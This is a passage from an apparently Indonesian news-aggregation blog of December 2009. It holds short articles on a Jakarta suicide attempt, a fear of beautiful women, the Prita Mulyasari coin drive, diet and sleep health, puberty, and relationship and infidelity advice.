Hal tersebut disampaikan Kepala Unit Reserse Kriminal Kepolisian Sektor Metro Jatinegara Inspektur Satu Supardjiono, Selasa (15/12/2009). "Sejak SMA depresi. Sempat dirawat di rumah sakit Pasar Rebo, Duren Sawit, dan rumah sakit Polri. Belum tentu masih mahasiswa, sedang cuti katanya. Namun, saya belum lihat kartu mahasiswanya," ujar Iptu Supardjiono.

Mengenai kebenaran informasi bahwa DO diperkosa sebelum nekat terjun, polisi belum bisa memastikan hal tersebut karena masih menunggu hasil visum. "Diperkosa itu kan mesti ada keterangan medis. Belum ada hasil visum, baru besok," kata Supardjiono.

Sampai saat ini korban belum dapat dimintai keterangan karena masih dalam perawatan dokter. Supardjiono menambahkan, menurut keterangan saksi yang didapat kepolisian, gadis itu sempat duduk di pinggir jembatan sambil mengayunkan kakinya sebelum melompat.

Pengamen melihat dia ngoceh-ngoceh. Saksi bilang, kayaknya ini orang stres, jadi enggak dihiraukan. Lalu, dia duduk di pinggir jembatan sambil juntai-juntai kaki, terjun," imbuhnya.

DO yang tinggal di Bambu Apus, Cipayung, Jakarta Timur, diberitakan terjun dari jembatan layang Prumpung, Jumat dinihari, akibat depresi setelah diperkosa beberapa orang. Dian mengalami patah tangan dan kaki sehingga dirawat di Rumah Sakit Budi Asih, Cawang, Jakarta Timur.

Fobia Pria pada Wanita Cantik

2009-12-17T07:09:00.000-08:00

angankan ngobrol, Anda dekati saja si dia menjauh pergi. Jika Anda memandang ke arahnya, dia buru-buru mengalihkan pandangan. Jangan lantas menganggapnya sombong, karena, bisa jadi ia sebenarnya memiliki venustraphobia. Artinya, rasa takut yang berlebihan terhadap perempuan cantik. Kok bisa?

Rasa takut berlebihan
Sebelum lebih jauh membahas venustraphobia, Anda perlu tahu fobia secara umum. Fobia didefinisikan sebagai rasa takut yang tidak rasional atas suatu obyek situasi atau aktivitas yang spesifik. Rasa takut dipicu stimuli yang tidak benar-benar menakutkan atau mengancam keselamatan diri. Misalnya, Anda takut pada buah tertentu, padahal buah itu tidak berbahaya ataupun mengancam jiwa. Beda jika Anda takut pada buaya. Itu normal dan wajar. Meski tidak membahayakan jiwa, namun fobia memiliki dampak yang besar terhadap kualitas hidup si penderitanya.

Venustraphobia (disebut juga caligynephobia) adalah rasa takut yang berlebihan terhadap perempuan cantik. Sama halnya dengan fobia jenis lain, fobia ini juga disebabkan stimulan yang tidak wajar dan tidak membahayakan jiwa. Biasanya penyebabnya adalah kejadian atau pengalaman buruk yang berkaitan dengan perempuan cantik yang menyebabkan trauma psikologis penderitanya.

Apa sih yang terjadi ketika penderita venustraphobia ini berada di antara perempuan cantik? Keringat dingin, tubuh gemetar, dan napas megap-megap. Para psikolog mengatakan, penyebab dari venustraphobia ini adalah perasaan tidak percaya diri atau rendah diri berlebihan, perasaan takut ditolak, takut tidak diterima, atau takut gagal membina hubungan.

Bisa sembuh
Bila pasangan menunjukkan gejala-gejala venustraphobia, Anda tidak perlu khawatir. Dia tidak sendirian di dunia ini. Sebuah penelitian mengatakan, diperkirakan sekitar 0,47 persen pria di Inggris dan 0,61 persen pria di Amerika terserang venustraphobia. Penelitian lain menyebutkan penderita fobia ini lebih banyak berasal dari kalangan menengah ke atas. Penyebabnya, seperti yang disebutkan tadi, sikap rendah diri yang berlebihan. Berawal dari tak percaya diri, lama-kelamaan perasaan ini terakumulasi menjadi fobia.

Penderita fobia ini sebenarnya bisa disembuhkan. Ada berbagai metode pemulihan untuk membuat penderitanya keluar dari ketakutan, mulai dari hipnoterapi, neuro-linguistic programming, hingga energy psychology.

Seperti komputer, terapi hipnoterapi dilakukan dengan memprogram ulang alam bawah sadar penderitanya dengan bantuan terapi atau psikolog sebagai mediator. Ketika rasa takutnya telah diprogram ulang, gejala fobia ini akan ditekan seminim mungkin. Neuro-linguistic programming menggunakan kekuatan imajinasi untuk memprogram ulang rasa takut si penderita.

Sedangkan energy psychology merupakan terapi pemulihan yang menggabungkan berbagai macam bentuk pemulihan terhadap fobia. Metode ini relatif aman. Cara lain yang juga dilakukan untuk penyembuhan adalah menggunakan obat antidepresan, terapi bicara, atau cognitive behaviour therapy.

Ibu-ibu Rumah Tangga Sekarang Juga Suka Politik...

2009-12-17T07:07:00.000-08:00

Tidak hanya elite politik dan mahasiswa yang ternyata mengikuti perkembangan politik Indonesia. Gencarnya pemberitaan media membuat semua lapisan masyarakat, mulai dari pedagang, tukang ojek, sampai ibu-ibu rumah tangga pun mengikuti perkembangan politik.

"Wah sekarang ibu-ibu kalo lagi ngumpul yang diomongin itu (politik)," kata Iis, salah seorang ibu rumah tangga yang ditemui Kompas.com ketika sedang menunggu kereta tujuan Bekasi di Stasiun Jakarta Kota, Selasa (15/12/2009).

Perkembangan politik di Indonesia saat ini memang sangat seru untuk diikuti. Ketika ramai kasus KPK vs Polri atau cicak vs buaya, para ibu dan pedagang yang ditemui Kompas.com mengaku terpaksa terus mengikuti pemberitaan yang itu-itu lagi. "Abis seru," lanjut Iis sembari tertawa, ketika mengemukakan alasan mengapa dia mengikuti kabar seputar politik.

"Kemarin rame Anggodo, sekarang rekaman Sri Mulyani. Sampe bosen," kata Rini, calon penumpang kereta.

Menilai pernyataan politisi Golkar, Bambang Soesatyo, tentang rekaman yang kata dia Menteri Keuangan Sri Mulyani sedang terlibat pembicaraan dengan Pemilik Bank Century Robert Tantular, Rini menyatakan kekhawatirannya. Hal tersebut menurutnya akan menggantung kasus Anggodo, adik pemilik PT Masaro Radiokom Anggoro, yang saat ini belum terselesaikan.

Berita-berita yang beredar saat ini, kata dia, semakin melenceng dari masalah utama. "Keenakan Anggodo, nanti lari ke Singapura lagi," kata dia.

Media sangat berperan terhadap sampainya pemberitaan ke tangan publik. Kabar perpolitikan Indonesia ternyata tidak kalah serunya dengan tayangan televisi lainnya. Buktinya, ibu rumah tangga saja update....

Aturan Makan Sebelum Olahraga

2009-12-17T07:06:00.001-08:00

Saat berolahraga, tubuh harus memiliki cukup energi untuk dibakar. Oleh karena itu, sebelum berolahraga, pastikan kita tidak lupa makan. Sebaliknya, jangan sampai pula kita berolahraga dengan perut penuh alias kelewat kenyang, karena akan membuat kita tak nyaman. Kapan saat yang tepat untuk makan, dan apa saja yang harus dikonsumsi? Dr Michael Triangto, SpKO dari Slim & Sports Therapy, Mal Taman Anggrek, Jakarta Barat, menjelaskannya untuk Anda.

Aturan dasar
Glukosa merupakan sumber energi utama yang dibutuhkan dalam beraktivitas. Untuk mendapatkan kecukupan glukosa, sebelum berolahraga sebaiknya konsumsilah makanan yang mudah dicerna dan banyak mengandung karbohidrat. Intinya, makanlah makanan ringan yang tinggi karbohidrat, seperti kentang panggang, pasta, atau kue bagel 2-3 jam sebelum mulai berolahraga. Buah-buahan yang kaya akan kandungan karbohidrat, seperti pisang dan apel, juga bisa dijadikan alternatif.

Yang penting untuk diingat, selalu makanlah secukupnya. Jangan pernah berlebih hingga kekenyangan yang selain membuat tubuh malas bergerak, juga akan menimbulkan perasaan penuh yang sangat tak nyaman, bahkan menyebabkan kram perut dan memperbesar kemungkinan muntah atau setidaknya mual selagi berolahraga.

Sedangkan makanan yang sebaiknya dihindari sebelum berolahraga adalah makanan yang banyak mengandung lemak. Mengapa? Karena lemak butuh waktu lama untuk dicerna. Lemak juga akan menetap di lambung dalam jangka waktu lama. Selain itu, makanan berlemak akan menarik darah ke lambung untuk membantu pencernaan, yang berpotensi menyebabkan kram perut, kejang, dan ketidaknyamanan lainnya. Jenis makanan lain yang juga sebaiknya dihindari adalah daging, gorengan, kue-kue yang terlalu manis, permen, dan sejenisnya.

Waktu yang tepat dan jenis makanan yang dianjurkan
* 4 jam sebelum berolahraga boleh makan nasi dengan lauk-pauk, atau kentang, atau sereal rendah lemak, ditambah buah segar atau jus buah/sayuran.

* 2-3 jam sebelum berolahraga sebaiknya santap makanan yang lebih ringan, seperti roti, buah, yogurt, atau energy drink berkarbohidrat tinggi.

* 1 jam sebelum berolahraga, pilihlah sport drink atau buah-buahan yang banyak mengandung air atau jus buah dan sayuran. Minuman di fase ini lebih bertujuan untuk mencukupi kebutuhan akan cairan. Perhatikan jumlahnya agar jangan berlebihan karena akan membuat tubuh lebih berat dan mempersering buang air kecil.

Ingat, Rakyat Selalu Punya Kekuatan

2009-12-17T07:03:00.000-08:00

Sekeping uang koin mungkin tak berarti. Namun, kumpulan jutaan koin bisa membentuk benteng kuat melindungi si lemah. Recehan yang sering dianggap tak berarti menjadi meriam pembobol dominasi penindas, hasil sistem yang korup. Lewat koin, rakyat unjuk gigi meraih keadilan. neli triana dan Sarie Febriane

Sejak pukul 10.00 tadi saya di sini. Uang tidak punya, jadi membantu menghitung saja. Semoga kasus Prita (Mulyasari) selesai dengan adil. Jangan sampai seperti anak saya yang akhirnya meninggal,” kata Sabarudin (60), sukarelawan penghitung koin di Posko Wetiga, Jalan Langsat I Nomor 3A, Kramat Pela, Kebayoran Baru, Jakarta Selatan, Selasa (15/12).

Sabarudin berasal dari Lampung dan sedang berada di Jakarta untuk berobat. Dua sampai tiga tahun lalu ia pernah terlunta-lunta di Jakarta saat mencari pengobatan bagi anaknya yang sakit gagal ginjal. Untuk mengurus asuransi kesehatan bagi warga miskin, Sabarudin harus bolak-balik Lampung-Jakarta. Prosedur yang dirasa menyulitkan itu berbuah keterlambatan pelayanan kesehatan dan berakhir fatal.

Bagi Sabarudin, berada di Posko Wetiga membuatnya bisa membalas ketidakadilan yang pernah ia rasakan.

Rasa senasib juga ditunjukkan Yos Sudarso (71). Laki-laki yang giat membantu menghitung koin Prita sejak Senin ini pada 1960-an dikeluarkan dari kantornya. Alasannya sepele. Ia melayangkan surat pembaca berisi protes kepada atasannya yang berjanji mengucurkan kredit rumah, tetapi tidak dipenuhi. Kisah Yos yang dimuat di media massa mengundang simpati masyarakat kala itu. Kalau Prita mendapat koin, Yos mendapat kiriman uang melalui wesel pos.

Sabarudin dan Yos adalah bagian dari sedikitnya 30 sukarelawan penghitung koin untuk Prita di Posko Wetiga.

Hingga Selasa pukul 20.40, sumbangan koin Prita mencapai Rp 482.101.475. Koin sebagian besar berupa pecahan Rp 500 berdiameter 2,7 sentimeter, berat 3,25 gram, dan tebal 2,5 milimeter, serta koin Rp 100 berdiameter 2,3 sentimeter, berat 1,88 gram, dan tebal 2 milimeter. Jika disusun bertumpuk, beratnya mencapai 10 ton lebih dengan ketinggian berpuluh kali tinggi Tugu Monas.

Gerakan tanpa pemimpin

Dalam daftar penyumbang koin di Pos Wetiga tercatat penyumbang datang dari seantero negeri dan warga negara Indonesia di luar negeri. Sementara penyumbang koin dan sukarelawan penghitung koin berasal dari bermacam kalangan.

Sejak Senin lalu, di Posko Wetiga terlihat penyanyi Indah Sita Nursanti, perwakilan dari instansi pemerintahan, karyawan sejumlah perusahaan swasta, politikus, remaja, hingga Bachrudin, penjual es keliling.

Mereka tidak canggung duduk membaur bersama, di karpet merah yang tergelar di pelataran rumah yang menjadi pos Koin Peduli Prita itu.

Inilah sebuah gerakan massa yang tak punya pemimpin, tak perlu komando, dan tak perlu panitia khusus. Namun, gerakan itu berjalan mulus, tanpa konfrontasi, damai, penuh keikhlasan, bersemangat, dan gaungnya membahana. ”Dari gerakan ini, terbukti bangsa kita masih punya rasa solidaritas yang tinggi, tidak individualistis. Ketika pemerintah dan wakil rakyat seperti tak ada, rakyat bisa bergerak sendiri,” kata Yusro MS (49), sukarelawan.

Tak hanya sumbangan koin dan tenaga hitung, beragam bentuk bantuan lain juga datang, mulai dari makanan dan minuman untuk sukarelawan, perlengkapan mengemas koin, hingga gel pembersih tangan. Pengiriman paket koin dari daerah juga digratiskan oleh perusahaan jasa kurir.

Handaru, salah seorang sukarelawan, mengatakan, solidaritas gerakan bahkan akan diwujudkan dalam bentuk konser musik. Acara itu direncanakan Minggu (20/12), bertepatan dengan Hari Kesetiakawanan Nasional, di Hard Rock Cafe, Plaza eX, Jakarta Pusat. Sekitar 20 musisi sudah bersedia tampil.

”Prita tentu diundang karena kami akan menyerahkan secara simbolik sumbangan koin untuknya,” kata Handaru.

Mencari bank

Yusro mengatakan, satu hal yang belum terpecahkan saat ini adalah menemukan bank yang bersedia menerima jutaan koin itu untuk dimasukkan dalam rekening atas nama Prita. Penggunaan dana itu diserahkan sepenuhnya kepada Prita.

Kasus Prita Mulyasari (32) merebut perhatian masyarakat dan memicu rakyat tergerak membelanya. Prita digugat dan didakwa kasus pencemaran nama baik Rumah Sakit Omni Internasional Alam Sutera, Serpong, Tangerang Selatan, karena mengirimkan e-mail ke beberapa temannya, yang berisi keluhan pelayanan rumah sakit itu. Meski Omni telah mencabut gugatan perdata, perkara pidananya masih dihadapi Prita.

”Saya tak kenal Prita. Ini bukan masalah pribadi dia, tetapi menyangkut masalah orang kecil. Barangkali, kalau tidak ada gerakan massal begini, sulit ada keadilan murni bagi orang kecil,” kata Lina, sukarelawan.

Gerakan ini menyimpan pesan bagi penguasa dan pemodal: ketika rasa keadilan terusik, rakyat selalu punya kekuatan.

Bersin Berkali-kali pada Pagi Hari

2009-12-17T07:00:00.000-08:00

Hampir setiap hari saya bersin, tepatnya ketika bangun dan mau tidur. Bersinnya bisa berkali-kali, dan ini sudah terjadi dua tahun terakhir. Apakah ini karena alergi? (Yayuk, via e-mail)

Menurut Riani Susanto, ND, CT, naturopathy doctor dan detoxification specialist, alergi terdiri atas beberapa tipe. Responsnya juga bisa beragam, seperti hidung tersumbat, batuk, nafas tersengal-sengal, gatal, hingga bentol-bentol dan ruam pada kulit. Kebanyakan orang alergi terhadap mold, yaitu mahluk hidup yang sangat kecil (hanya bisa dilihat di bawah mikroskop). Mold biasa hidup di tempat yang gelap dan lembap, di sekitar rumah, di bawah wastafel, kamar mandi, gudang bawah tanah, hingga kulkas. Mold juga bisa terjadi pada waktu kita menggunakan furnitur baru atau saat memperbaiki furnitur.

Riani menyarankan, sebaiknya Anda terlebih dulu memeriksa daerah sekeliling rumah. Bagaimana keadaannya, apakah memang ada daerah-daerah yang berpotensi bagi mold untuk tumbuh subur. Perhatikan juga kemungkinan adanya pemicu alergi lainnya, seperti pollen, debu, jenis metal tertentu (misalnya nikel), kosmetik, lanolin, bulu binatang, hingga beberapa jenis obat-obatan seperti penisilin dan aspirin. Selain itu, kita juga perlu mencermati beberapa zat adiktif pada makanan dan bahan kimia yang digunakan dalam kehidupan sehari-hari. Contohnya adalah sabun mandi, pencuci pakaian, pembersih lantai, dan zat kimia lainnya. Sementara itu, untuk meningkatkan daya tahan tubuh, coba konsumsi bakteri baik, seperti Acidophilus, bifidus, dan minum Quercetin dan Digestive Enzym.

Penyakit Akibat Kekurangan Serat

2009-12-17T06:58:00.001-08:00

Pola makan kaya serat tidak hanya membuat Anda merasa kenyang dan melancarkan pencernaan, tetapi juga menjadi cara ampuh untuk melawan penyakit. Beberapa penyakit yang mungkin diakibatkan oleh kurangnya serat antara lain:

* Kolesterol tinggi atau penyakit jantung. Hasil studi menunjukkan bahwa makanan yang rendah kandungan kolesterol dan lemak jenuhnya, serta tinggi akan sayuran dan gandum utuh, dapat menurunkan kolesterol sebanyak 0,5% hingga 2% untuk setiap gram serat yang larut dalam air dan dikonsumsi setiap hari. Serat yang larut dalam air bersifat mengikat kolesterol, dan membantu untuk menyingkirkannya dari sistem pencernaan. Hal inilah yang membuat kolesterol dalam darah turun, dan mengurangi penyimpanan kolesterol dalam pembuluh arteri. Serat yang larut dalam air akan membentuk substansi dalam bentuk seperti gel. Sumber serat yang larut adalah oats, legume (buncis, kacang polong, kacang kedelai), apel, pisang, buah beri, barley, dan beberapa sayuran.

* Diabetes. Serat tak hanya membantu penanganan diabetes, tetapi juga menjadi pencegahan yang efektif. Diet kaya serat terbukti mampu mengurangi risiko diabetes hingga 28%. Sedangkan pola makan tinggi gula dan rendah serat akan meningkatkan risiko wanita dalam menciptakan diabetes tipe II.

* Kanker. Sekitar 1/3 kematian akibat kanker diakibatkan oleh pola makan yang salah, demikian menurut National Cancer Institute. Menurut hasil penelitian, diet yang rendah lemak dan tinggi serat seperti gandum utuh, buah-buahan, dan sayuran, dapat mengurangi risiko beberapa kanker, termasuk kanker usus dan kanker anus.

* Hemorrhoids. Hemorrhoids, atau vena yang membengkak di dekat anus dan usus besar bagian bawah, dapat berkembang ketika dipaksa mendorong atau mengejan saat BAB. Mengonsumsi makanan yang kaya serat seperti sayuran dan gandum utuh, serta minum cukup banyak air, dapat membantu mencegah dan menyingkirkan hemorrhoids. Karena, feses yang Anda hasilkan lunak, sehingga mampu melewati sistem pencernaan dengan mudah. Bila feses keras sehingga menimbulkan perdarahan, segera konsultasikan dengan dokter. Hal ini bisa merupakan tanda masalah kesehatan yang lebih serius.

* Irritable bowel syndrome (IBS). Saat perut bergejolak, saraf-saraf dan otot-otot pada usus besar menjadi sangat sensitif terhadap beberapa makanan. Hasilnya, perut bisa kram, kembung, ingin kentut terus karena penuh gas, diare, dan konstipasi. IBS memang tidak ada obatnya, namun gejalanya dapat dikurangi dengan mengonsumsi obat-obatan, mengurangi stres, dan menghindari pemicunya, seperti makanan berlemak, alkohol, dan minuman bersoda. Serat, seperti yang terdapat pada dedak atau bekatul, gandum utuh, dan sayuran, dapat mengurangi gejala IBS (khususnya konstipasi), karena membuat feses lunak, utuh (tidak terpotong-potong), sehingga Anda tak perlu ngeden untuk mengeluarkannya.

Jika Anda tidak terbiasa mengonsumsi banyak serat, dan ingin mencoba mengubah pola makan Anda, lakukan secara berangsur-angsur. Selain itu, jangan berlebihan mengonsumsinya, karena juga dapat menyebabkan gejala yang sama, seperti kram, gas dalam perut, kembung, dan diare. Anda bisa mencegah masalah ini dengan menambahkan beberapa gram serat saja setiap hari. Cara yang mudah untuk melengkapinya adalah dengan minum dua cangkir minuman bebas kalori setiap selesai makan.

Agar Si Puber Tetap Pede

2009-12-17T06:57:00.000-08:00

Bingung, risih, dan canggung bercampur aduk menjadi satu. Perasaan itu sangat mungkin dirasakan anak usia sekolah yang memasuki usia puber. Semua itu terjadi karena adanya perubahan fisik.

Pada anak perempuan, perubahan fisik itu ditandai dengan mulai tumbuhnya payudara, panggul yang membesar, serta tumbuhnya bulu-bulu halus di sekitar kemaluan dan ketiak. Adapun pada anak laki-laki ditandai dengan tumbuhnya bulu-bulu halus di sekitar ketiak, kemaluan, kumis, janggut, selain terjadi perubahan pada suara, tumbuhnya jerawat, dan mulai diproduksinya sperma yang pada waktu-waktu tertentu keluar sebagai mimpi basah.

Pada wanita pada umumnya masa pubertas datang antara usia 9 dan 15 tahun. Adapun pada pria antara 10 dan 16 tahun. Masalahnya, perubahan fisik itu kadang ikut menimbulkan perubahan psikologis.

Seperti ditegaskan oleh pakar psikologi, Charlotte Buhler, bahwa ada perubahan tingkah laku yang tidak menyenangkan yang terjadi bersamaan dengan kematangan seks dan diekspresikan dengan perasaan tidak aman, antisosial, dan kebingungan.

Celakanya, bila tak ada bimbingan dan dukungan dari orangtua, ada bahaya yang mengintip, yakni terbentuknya konsep diri yang kurang baik atau negatif. Hal ini dikarenakan anak sebelumnya tidak mendapatkan pengarahan sehingga ketika tanda-tanda pubertas mulai muncul ia tidak mengetahui apa yang harus dilakukan.

Biasanya yang muncul adalah perasaan tidak nyaman dan aman serta kebingungan. Apalagi bila ditambah dengan mendengar komentar atau ucapan negatif dari teman-teman di sekitarnya. Dampaknya, anak jadi malu karena merasa berbeda dari teman-temannya. Selanjutnya, yang lebih mengkhawatirkan bila si anak malah menarik diri dari lingkungan.

Itulah mengapa, orangtua perlu menyiapkan anaknya dengan melakukan komunikasi. Berikan penjelasan kepada anak tentang perubahan-perubahan yang mungkin terjadi saat memasuki masa pubertas. Sebaiknya penyampaian materi ini dilakukan secara khusus atau pribadi. Jangan melibatkan adik yang lebih kecil atau sang kakak, sehingga anak tidak malu-malu untuk bertanya bila ada materi yang tidak dipahami.

Sampaikan pula tindakan yang harus dilakukan ketika si anak menghadapi kemungkinan permasalahan yang timbul ketika memasuki masa pubertas, semisal mendapatkan haid di sekolah. Dengan begitu, anak mengetahui tindakan yang harus dilakukan atau pemecahan masalah yang dihadapi.

Tegaskan pula, perubahan ini akan dialami oleh semua individu. Setiap individu akan mengalami hal yang sama, hanya waktunya saja yang tidak berbarengan antara satu dengan lainnya, sehingga tak perlu khawatir, cemas, atau malah merasa berbeda dari individu lain.

Bahayanya Kurang Tidur

2009-12-17T06:54:00.000-08:00

Setiap orang memang memiliki waktu tidur yang berbeda-beda karena beberapa faktor, misal usia. Secara umum, anak bayi membutuhkan rata-rata 16 jam tidur per harinya, remaja butuh sekitar 9 jam per hari, sementara kebanyakan orang dewasa membutuhkan sekitar 7-8 jam tidur per hari, meski beberapa orang hanya butuh sekitar 5 jam atau bahkan 10 jam per harinya. Sedangkan wanita yang sedang mengandung 3 bulan umumnya butuh beberapa jam lebih lama dari biasanya.

Salah satu tanda paling mudah untuk mendeteksi apakah Anda kekurangan tidur atau tidak, adalah ketika Anda merasa kelelahan dan mengantuk di siang hari, apalagi ketika melakukan aktivitas membosankan.

Ketika kekurangan tidur terakumulasi berhari-hari, maka Anda akan berutang sekian banyak jam tidur untuk tubuh Anda. Utang tersebut mirip seperti menarik uang pinjaman melebihi saldo rekening Anda. Pada akhirnya, tubuh akan meminta "bayaran" untuk utang tersebut lewat cara lain. Di antaranya lewat berkurangnya kemampuan kita untuk menilai sesuatu dan bereaksi, serta berkurangnya beberapa fungsi tubuh lain. Selain itu juga kehilangan kemampuan untuk mengingat, depresi, berkurangnya sistem imun tubuh, dan peningkatan persepsi rasa sakit.

Banyak studi menyatakan bahwa kekurangan tidur adalah kondisi yang berbahaya. Lewat penelitian tersebut, diketahui, bahwa orang yang kekurangan tidur memiliki kondisi yang lebih parah dari orang yang sedang mabuk. Karena pada penelitian tersebut, ditemukan bahwa ketika diminta mengemudikan mobil simulator, orang yang kekurangan waktu tidur tak bisa mengkoordinasikan mata dan tangannya. Tak heran orang yang berkendara dalam keadaan mengantuk di jalan tol sering mengalami kecelakaan. Saat mengantuk seperti ini, kafein pun tak akan mampu mengatasinya.

Ketika Anda mulai merasa kesulitan menjaga mata untuk fokus, tak bisa berhenti menguap, dan saat mengemudi tidak bisa mengingat sudah melewati apa saja, maka sudah dipastikan Anda butuh istirahat. Untuk Anda yang berencana bepergian akhir tahun ini, jangan lupa persiapkan kondisi tubuh, khususnya untuk beristirahat yang cukup sebelum memulai perjalanan.

Pacaran: Lanjut atau Tidak?

2009-12-17T06:52:00.001-08:00

Mengambil keputusan menikahi seseorang bukanlah hal mudah, apalagi menyangkut adanya keraguan sudah tepat atau belum calon pasangan kita. Mari simak penuturan seorang perempuan, RA (22).

Saya sudah tiga tahun berpacaran. Saya memulai hubungan dengan niat tulus. Saya mencintai pacar saya dan hanya dia seorang. Tetapi, tidak demikian dengan pacar saya. Dia masih menyayangi mantan-mantannya. Dia kerap membandingkan saya dengan mereka.

Dia tidak perhatian kepada saya, suka menggoda orang lain di depan saya, suka melihat perempuan lain saat sedang bersama saya, suka meninggalkan saya apabila marah, juga suka berbohong. Saya berkali-kali berkata kepada dia untuk jujur, apabila tidak menyayangi saya tidak apa-apa dan saya akan pergi.

Baru-baru ini dia berkata, sejujurnya dia baru benar-benar menyayangi saya beberapa bulan terakhir. Sekarang dia sudah berubah dan kami berniat menikah. Tetapi, di dalam hati saya ada banyak ketakutan, terutama takut dibohongi lagi, dan tahun-tahun bersama dia saya lalui dengan merasa saya orang paling jelek untuknya.

Kadang saya merasa tidak pantas diperlakukan seperti itu dan takut itu akan terulang. Selama ini saya juga tidak bisa dekat dengan keluarga pacar. Saya malu dan takut salah bicara. Saya selalu diam jika tidak diajak bicara atau tidak ditanya. Setiap ke rumah pacar, saya selalu berdandan sopan, membawa oleh-oleh, mencuci piring bekas makan saya, dan mengucapkan terima kasih. Tetapi, saya tetap tidak bisa dekat dan diajak mengobrol. Seolah saya tidak ada di hadapan mereka.

Apakah itu artinya orangtua kekasih tidak menyukai saya? Saya menyadari diri saya tidak begitu cantik, tidak kaya, dan tidak terkenal. Saya hanya ingin diterima dan hidup bahagia. Tolong beri tahu apa yang harus saya lakukan?

RA yang baik,

Ada beberapa hal yang perlu diperhatikan dalam mengurai masalah ini. Pertama tentang sikap pacar, usia, hubungan dengan keluarga, dan citra diri Anda.

Tentang sikap pacar. Lazimnya orang yang baru berpacaran justru menampilkan hal-hal positif dirinya, penuh perhatian, romantis, pokoknya menyenangkan hati pasangan. Bagaimana dengan pacar Anda?

Pada awal pacaran dia justru blakblakan menampilkan perilaku ”buruk”, seperti tak mampu menguasai emosi jika marah, berbohong, dan menggoda orang lain. Bahkan, ia tega menyakiti hati dengan membandingkan Anda dengan mantan-mantannya. Kemudian akhir-akhir ini dia berubah menjadi lebih baik.

Mungkin memang benar sebelumnya dia belum jatuh cinta kepadamu. Sekarang setelah dia mengaku menyayangi Anda, perlu dicermati lagi apa yang membuat ia berubah. Adakah suatu kejadian penting yang menyadarkannya, selama ini ia berhubungan dengan seorang yang sangat tulus mencintai dan baik hati pula?

Atau, coba lebih waspada (ini beda dengan berburuk sangka lho) dengan mencari tahu apakah ada penyebab lain yang membuat ia berubah. Jadi, perubahan yang terjadi padanya bisa bersifat positif atau negatif.

Tentang usia. Menurut saya, perlu waktu lebih lama untuk mengenal dia lebih jauh. Dua tahun lebih dia menunjukkan sikap berbeda dengan beberapa bulan terakhir. Yang harus dilihat adalah sikapnya yang baru saja berubah itu menetap atau tidak.

Jadi, Anda bisa memperpanjang waktu untuk menerima ajakan menikah. Alasannya, selain usia Anda memang masih muda (sayang Anda tak menyebutkan usia pacar), juga agar Anda lebih dalam mengenal dan memahami pribadinya, apakah perubahan positif yang ditunjukkan belakangan ini memang menetap dan dia benar-benar serius melanjutkan hubungan dengan Anda.

Tentang hubungan keluarga. Apabila mempertimbangkan sikap keluarganya, coba cermati lagi apakah karena memang mereka tipe orang yang angkuh dan mementingkan aspek fisik dan finansial bagi calon menantu dan ipar? Atau, karena perasaan Anda saja dan ini disebabkan rasa rendah diri karena merasa kondisi Anda tidak setara dengan mereka?

Jika berpikir positif, bisa saja mereka memang tidak mudah menerima kehadiran orang baru. Mereka berharap Anda perlu lebih aktif mengambil hati mereka, bukan mereka yang berbaik-baik kepada Anda. Anda sudah benar berperilaku sopan dan baik selama ini, lanjutkan itu tanpa keterpaksaan.

Citra diri

Beberapa kali Anda mengatakan tidak cantik, tidak kaya, sehingga merasa tidak layak berpasangan dengan dia. Ini sangat tidak produktif untuk pengembangan diri.

Jika ingin merebut hati dan menambah rasa sayang orang kepada Anda, Anda juga harus memperlakukan diri Anda sebagai sesuatu yang berharga. Bukankah Anda juga punya banyak kualitas diri positif, seperti baik hati, sabar, peka, mau menolong, dan sopan.

Yakini siapa Anda, tak perlu membandingkan dengan orang lain yang hanya akan merusak suasana hati Anda. Kualitas itu jauh lebih baik ketimbang kecantikan atau kekayaan. Dengan citra diri positif, Anda akan mendapat kekuatan serta arah jelas menghadapi kehidupan dan secara sadar Anda akan mengembangkan hal-hal terbaik Anda.

Jadi, biarkan beberapa tahun lagi Anda meniti hubungan pacaran ini. Tak usah khawatir. Kalau memang dia sayang dan kapok dengan sifat buruknya, pasti akan terbukti. Kalau tidak, Anda masih punya banyak waktu untuk bertemu orang lain yang lebih layak dan menghargaimu. Sementara itu, kembangkan juga citra dirimu, jangan biarkan siapa pun menganggap dirimu rendah dan buruk. Salam.

Bila Ingin Kembali Bersama Usai Perselingkuhan

2009-12-17T06:51:00.000-08:00

Baru-baru ini pegolf nomor 1 dunia, Tiger Woods, dikabarkan telah berselingkuh, setidaknya dengan 7 wanita sejak pernikahannya dengan sang istri, Elin Nordegren. Angka tersebut bahkan belum mutlak, masih terus ada wanita-wanita yang mengaku pernah bercinta dengan Woods. Akibat kebiasaannya tersebut, Woods bahkan sempat bertengkar hebat dengan istrinya, yang berujung kecelakaan. Woods dikabarkan tak sengaja menabrakkan mobilnya ke pohon dan alat pemadam kebakaran.

Jika Anda berada di posisi Woods, apakah yang akan Anda lakukan? Setelah perselingkuhan Anda terkuak oleh pasangan, apakah masih ada kesempatan untuk memperbaikinya? Meski akan sulit untuk mengembalikan kepercayaan pasangan seperti sedia kala, namun jika Anda dan dia bisa sama-sama berkaca dan berkomitmen dan merasa masih ada harapan untuk bisa meneruskan bersama, mengapa tidak? Bahkan, bukan tak mungkin hubungan Anda justru bisa lebih erat dari sebelumnya. Berikut langkah-langkah yang bisa Anda lakukan jika Anda dan pasangan memutuskan untuk mencoba memperbaiki hubungan:

Hentikan, putuskan, intinya: tak ada lagi!
Pastikan Anda tak lagi menghubungi si selingkuhan. Ini adalah hal yang terutama, jika Anda ingin benar-benar memperbaiki hubungan dengan pasangan Anda. “Pertemanan” dengan selingkuhan pun sudah tak bisa ditolerir lagi.

Komitmen ulang
Jika tak satu pun dari Anda yakin bisa bersatu kembali, maka utarakanlah! Kebingungan adalah hal yang wajar, namun jangan jadikan hal tersebut menjadi penghambat Anda dan dia membicarakan keadaan yang sebenarnya.

Keterbukaan
Jika pasangan Anda ingin mengetahui detail perselingkuhan, atau sejauh mana perselingkuhan itu, Anda harus tahu, bahwa Anda berhutang penjelasan kepadanya. Bantu mereka untuk mengerti kebenarannya, karena, seburuk apa pun itu, tak mungkin lebih buruk dari apa yang ada di bayangan pasangan Anda. Kadang, si pasangan sebenarnya tak ingin mengetahuinya, biarkan mereka yang memberitahu apa mau mereka. Jangan berasumsi.

Berhenti melarikan diri, dan hadapi
Menghindari rasa sakit seringkali menjurus ke perselingkuhan. Menghadapinya memang menakutkan. Cobalah untuk berdiam diri dan mulai mendengarkan pasangan Anda. Ambillah segenggam keberanian dan utarakan apa yang ada di pikiran Anda. Apa pun itu, berkomunikasilah dari hati ke hati dan kepala dingin.

Bersiaplah
